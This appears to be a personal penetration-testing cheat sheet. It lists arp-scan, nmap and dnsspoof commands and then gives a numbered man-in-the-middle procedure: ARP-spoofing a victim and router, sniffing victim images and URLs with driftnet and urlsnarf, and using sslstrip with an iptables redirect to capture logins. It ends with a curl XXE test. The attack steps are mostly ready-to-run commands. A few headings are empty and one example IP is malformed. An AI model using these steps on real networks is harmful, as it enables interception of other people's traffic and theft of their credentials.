## ARP Spoofing

* Arp-scan

Commands:

Specify network interface:

arp-scan --interface=eth0 --localnet

Scan local network:

arp-scan --localnet

Write Received Packets To Pcap:

sudo arp-scan --localnet -W scan.pcap

tcpdump -r scan.pcap

* arpspoof

arpspoof -i eth0 -t 192.168.35.6 192.168.1.1

## Port Scanning <https://hackertarget.com/nmap-cheatsheet-a-quick-reference-guide/>

* nmap

Commands:

Scan a single IP:

nmap 192.168.1.1

Scan a host:

nmap www.pluralsight.com

Scan a single Port:

nmap -p 22 192.168.35.6

Scan a range of ports:

nmap -p 1-65535 192.168.35.6

## DNS Spoofing

dnsspoof -i <interface> -f <hostsfile>

## Email Hijacking

## 1.email spoofing:

## spoofcheck:Simple script that checks a domain for email protections

./spoofcheck.py [domain]

2.social engineering:

## Man In The Middle Attack

## 1. Enable packet forwarding in Linux

sysctl -w net.ipv4.ip\_forward=1

## 2. Intercept packages from victim with arpspoof

arpspoof -i [Network Interface Name] -t [Victim IP] [Router IP]

eg.:arpspoof -i eth0 -t 192.168.35.92 192.168.35.1

## 3. Intercept packets from router with arpspoof

arpspoof -i [Network Interface Name] -t [Router IP] [Victim IP]

eg.:arpspoof -i eth0 -t 192.000.000.1 192.168.35.92

## 4. Sniff images from victim navigation

driftnet -i [Network Interface Name]

eg.:driftnet -i eth0

## 5. Sniff URLs information from victim navigation

urlsnarf -i [Network interface name]

eg.:urlsnarf -i eth0

## 6. Disable packet forwarding

sysctl -w net.ipv4.ip\_forward=0

* sslstrip

Step 1: Open Terminal

Step 2: In order to run SSLSTRIP in MITM, you need to know the Target IP and the IP of Gateway of the router. To find the router gateway IP, here’s the code:

***route -n***

Step 3: Port forward for accept packets and forward as vise versa

disabled = 0

enabled = 1

Code: ***echo 1 > /proc/sys/net/ipv4/ip\_forward***

Step 4: In a real attack, we’d be using ARPSPOOF against the layer 2 segments. In the images below, I modified the $routerip, but we make a simple instruction. At step 2, we find the router IP is 192.168.109.2. To use ARSPOOF, follow this code.

Code: ***arpspoof -i eth0 -t victimip routerip***

Step 5: Modify the IP table. Let’s understand iptables: iptables take traffic inbound to our Kali Linux machine, on which the destination is port 80 (also known as the HTTP web port. It redirects traffic to the port 1000, which is listening through the use of SSLSTRIP).

Code: ***iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1000***

Step 6: Voila, peak time. We’re going to open our SSLSTRIP.

In Kali:

Application -> kali linux -> information gathering ->sslstrip analysis – >sslstrip

Run the following to start the SSLSTRIP, which we set at port 1000.

In Kali:

Code: ***sslstrip -l 1000***

Step 7: An example of Victim login at hotmail.com.

Step 8: Open the sslstrip.log

XXE

curl -d @xml.txt <http://localhost/xmlinject.php>